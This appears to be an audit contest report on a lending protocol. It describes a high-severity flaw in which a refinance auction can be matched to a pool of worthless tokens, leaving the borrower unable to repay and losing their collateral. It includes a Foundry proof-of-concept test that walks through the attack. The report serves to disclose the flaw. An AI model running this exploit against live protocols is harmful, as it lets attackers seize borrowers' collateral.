20,000 USDC
View results
Submission Details
Severity: high
Valid

Immediate loss of collateral due to refinance auctions

Summary

Borrowers may lose their entire collateral when a lender initiates a refinancing auction, and anyone matches an auction with a newly created pool containing worthless tokens.

Vulnerability Details

When a lender no longer desires to continue lending, and there is no lending pool available to provide the loan, they can send the loan to a liquidation auction. Anyone is then able to match an arbitrary pool with a live auction when the parameters of that pool match those of the auction or are more favorable to the borrower. This assumption can lead to a situation where the borrower, immediately after receiving the loan, is unable to repay it and loses their collateral.

Let's assume the following example situation:

  1. The borrower requests a loan from an arbitrary pool X.

  2. Immediately after the loan execution, the lender starts a refinance auction.

  3. The attacker creates a pool by providing some worthless, previously deployed ERC20 tokens as loanToken and collateralToken, and then buys a loan, passing the newly created pool as a function argument. The lender's pool receives back the debt and accrued interest.

  4. The borrower cannot repay their loan, as the function reverts since it tries to subtract the repaid debt from outstandingLoan, which in the newly created pool is equal to 0.

function test_lossOfCollateral() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 1.5*10**18,
auctionLength: 3 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
//Borrower request a loan
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 10*10**18,
collateral: 20*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
//lender starts a refinance auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
Pool memory fakeP = Pool({
lender: lender1,
loanToken: address(fakeToken),
collateralToken: address(fakeToken),
minLoanSize: 100*10**18,
poolBalance: 100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 fakePoolId = lender.setPool(fakeP);
vm.startPrank(lender1);
lender.buyLoan(0, fakePoolId);
//borrower can't repay its debt
vm.startPrank(borrower);
vm.expectRevert();
lender.repay(loanIds); //it will revert cause --> pools[poolId].outstandingLoans -= loan.debt;
}

Impact

Borrowers may lose their collateral immediately after receiving a loan.

Tools Used

Manual review

Recommendations

Rethink the design of refinance auctions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.